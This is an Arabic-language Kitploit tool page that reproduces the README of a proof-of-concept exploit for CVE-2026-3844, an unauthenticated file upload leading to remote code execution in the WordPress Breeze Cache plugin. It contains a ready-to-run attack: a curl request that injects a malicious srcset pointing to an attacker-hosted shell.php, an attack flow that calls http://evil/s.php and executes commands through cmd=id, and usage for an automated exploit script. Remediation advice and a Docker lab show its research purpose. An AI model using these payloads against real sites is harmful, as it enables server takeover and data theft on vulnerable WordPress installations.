Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/dinosn/cve-2026-3844
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubdinosn/cve-2026-3844

CVE-2026-3844

إثبات مفهوم لاستغلال CVE-2026-3844، وهو رفع ملفات تعسفي غير مصادق عليه يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في Breeze Cache <= 2.4.4. يتضمن مختبر Docker وسكربت استغلال آلي.

عرض المستودع
51منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-3844 — Breeze Cache <= 2.4.4 رفع ملف تعسفي غير مصادق يؤدي إلى تنفيذ أوامر عن بُعد (RCE)

نظرة عامة

الحقلالقيمة
CVECVE-2026-3844
CVSS9.8 حرج (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — رفع ملف غير مقيد بنوع خطير
الإضافةBreeze Cache من Cloudways
المتأثرجميع الإصدارات حتى 2.4.4 وما دون
المُصلَح2.4.5 (التغيير 3511463)
عمليات التثبيتأكثر من 400,000 تثبيت ووردبريس نشط
اكتشفهHung Nguyen (bashu)
تم الكشف عنه2026-04-23

الثغرة

تقوم الدالة fetch_gravatar_from_remote() في ملف inc/class-breeze-cache-cronjobs.php بتنزيل عناوين URL البعيدة وحفظها في دليل يمكن الوصول إليه عبر الويب باستخدام اسم الملف الأصلي والامتداد من عنوان URL. لا يوجد تحقق من نوع MIME، ولا قائمة بيضاء للامتدادات، ولا فحص للمحتوى.

عند تفعيل إعداد "استضافة الملفات محليًا - Gravatars"، تقوم الإضافة بالربط مع فلتر get_avatar في ووردبريس عبر الدالة breeze_replace_gravatar_image(). تستخدم هذه الدالة تعبيرًا نمطيًا لاستخراج عناوين URL من خصائص srcset و src في كود HTML للصورة الرمزية. يمكن للمهاجم حقن خاصية srcset خبيثة عن طريق نشر تعليق باسم مؤلف مصمم بعناية، مما يدفع الإضافة إلى تنزيل وتخزين ملف PHP تعسفي.

الكود المعرض للثغرة

Vulnerable code in fetch_gravatar_from_remote()

ما هو مفقود:

  • لا يوجد فحص بأن المحتوى الذي تم تنزيله هو صورة (التحقق من MIME)
  • لا يوجد تقييد على امتدادات الملفات (.php، .phtml، .phar جميعها مقبولة)
  • لا يوجد فحص لنوع محتوى استجابة HTTP
  • الدليل الوجهة يمكن الوصول إليه عبر الويب ويسمح بتنفيذ PHP

سير الهجوم

root@kitploit:~
المهاجم                          ووردبريس + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  تم حفظ التعليق
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  يتم تفعيل فلتر get_avatar
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    يستخرج عنوان srcset عبر التعبير النمطي
   |                                        |    يستدعي fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         محتوى ملف PHP                  |
   |         -----------------------------> |
   |                                        |  يتم الحفظ في:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  يتم تنفيذ PHP كمستخدم www-data
   |         uid=33(www-data)               |
   |  <------------------------------------ |

الشروط المسبقة

  1. يجب تثبيت وتفعيل إضافة Breeze بإصدار <= 2.4.4
  2. يجب تفعيل "استضافة الملفات محليًا - Gravatars" (معطلة افتراضيًا، في الإعدادات > Breeze > خيارات متقدمة)
  3. يجب أن تكون التعليقات مفتوحة على منشور واحد على الأقل
  4. يجب أن يكون خادم الحمولة الخاص بالمهاجم قابلاً للوصول من خادم ووردبريس

إعداد بيئة Docker

تتضمن هذه الأداة بيئة Docker متكاملة تحتوي على:

  • ووردبريس 6.5 + Breeze 2.4.4 (معرضة للثغرة، مع تفعيل استضافة gravatar)
  • MariaDB 10.11
  • خادم HTTP بلغة Python يستضيف حمولة الأداة

المتطلبات الأساسية

  • Docker و Docker Compose
  • Python 3.8+ مع مكتبة requests (pip install requests)

1. تشغيل البيئة

root@kitploit:~
cd docker/
docker compose up -d --build

انتظر حوالي 30 ثانية حتى يتم تهيئة ووردبريس. تحقق من ذلك:

root@kitploit:~
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# المتوقع: Stable tag: 2.4.4

2. التحقق من الشروط المسبقة

Breeze version 2.4.4 confirmed

Comments open, gravatar hosting enabled

يقوم إعداد Docker تلقائيًا بـ:

  • تفعيل "استضافة الملفات محليًا - Gravatars" (breeze-store-gravatars-locally: 1)
  • فتح التعليقات على المنشورات
  • تعطيل مراجعة التعليقات (لاستغلال فوري)

الاستغلال

الخطوات اليدوية

الخطوة 1 — نشر التعليق الخبيث

root@kitploit:~
curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

استبدل PAYLOAD_IP بعنوان IP الخاص بحاوية الحمولة:

root@kitploit:~
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

الاستجابة المتوقعة: إعادة توجيه HTTP 302 إلى صفحة المنشور.

Malicious comment POST

الخطوة 2 — تشغيل عرض الصورة الرمزية

قم بزيارة صفحة المنشور لجعل ووردبريس يعرض الصورة الرمزية للتعليق، مما يؤدي إلى تفعيل فلتر get_avatar الخاص بـ Breeze وتنزيل الحمولة:

root@kitploit:~
curl -s "http://localhost:8088/?p=1" > /dev/null

يُظهر كود HTML المعروض أن Breeze استخرج خاصية srcset المحقونة وقام بتخزين الحمولة:

Avatar rendering triggers payload fetch

الخطوة 3 — التحقق من الملف على القرص

يتم كتابة حمولة PHP حرفيًا، ويمتلكها المستخدم www-data:

shell.php on disk owned by www-data

الخطوة 4 — تأكيد تنفيذ الأوامر عن بُعد (RCE)

RCE confirmed — id, whoami, uname, /etc/passwd

سكربت الاستغلال الآلي

root@kitploit:~
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Automated exploit script output

خيارات السكربت

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      عنوان URL المستهدف لووردبريس (مطلوب)
  -p, --payload     عنوان URL لحمولة PHP المراد رفعها
  --post-id         معرف المنشور المحدد للتعليق عليه
  --timeout         مهلة HTTP بالثواني (الافتراضي: 15)
  --wait            ثواني الانتظار للمهام المجدولة (الافتراضي: 12)
  --check-only      التحقق من إصدار الإضافة فقط دون استغلال

إيقاف التشغيل

root@kitploit:~
cd docker/
docker compose down -v --remove-orphans

المعالجة

  1. التحديث إلى إصدار Breeze 2.4.5 أو أحدث
  2. حل بديل (إذا تعذر التحديث): تعطيل "استضافة الملفات محليًا - Gravatars" في إعدادات Breeze
  3. التحصين: إضافة إلى ملف .htaccess في wp-content/cache/breeze-extra/gravatars/:
    root@kitploit:~
    <FilesMatch "\.ph(p|tml|ar)$">
        Require all denied
    </FilesMatch>
    

هيكل الملفات

root@kitploit:~
cve-2026-3844/
  README.md              # هذا الملف
  docker/
    Dockerfile           # صورة ووردبريس + Breeze 2.4.4
    docker-compose.yml   # بيئة كاملة (WP + MariaDB + خادم الحمولة)
    entrypoint-custom.sh # تهيئة تلقائية لووردبريس بالإعدادات المعرضة للثغرة
  poc/
    exploit.py           # سكربت استغلال آلي
    validate.sh          # أداة تحقق شاملة عبر Docker
  payloads/
    shell.php            # حمولة PoC غير ضارة (echo + id)
  screenshots/           # لقطات شاشة SVG الطرفية (Charm freeze)
  validation/            # مخرجات التحقق من قابلية الاستغلال RAPTOR

المراجع

  • NVD — CVE-2026-3844
  • تنبيه Wordfence
  • تغيير التصحيح في ووردبريس 3511463
  • الكود المصدري المعرض (وسم 2.4.1)

إخلاء المسؤولية

تم توفير هذه الأداة الإثباتية لأغراض اختبار الأمان المصرح به والتعليم والبحث الدفاعي فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني.

تنزيل الأداة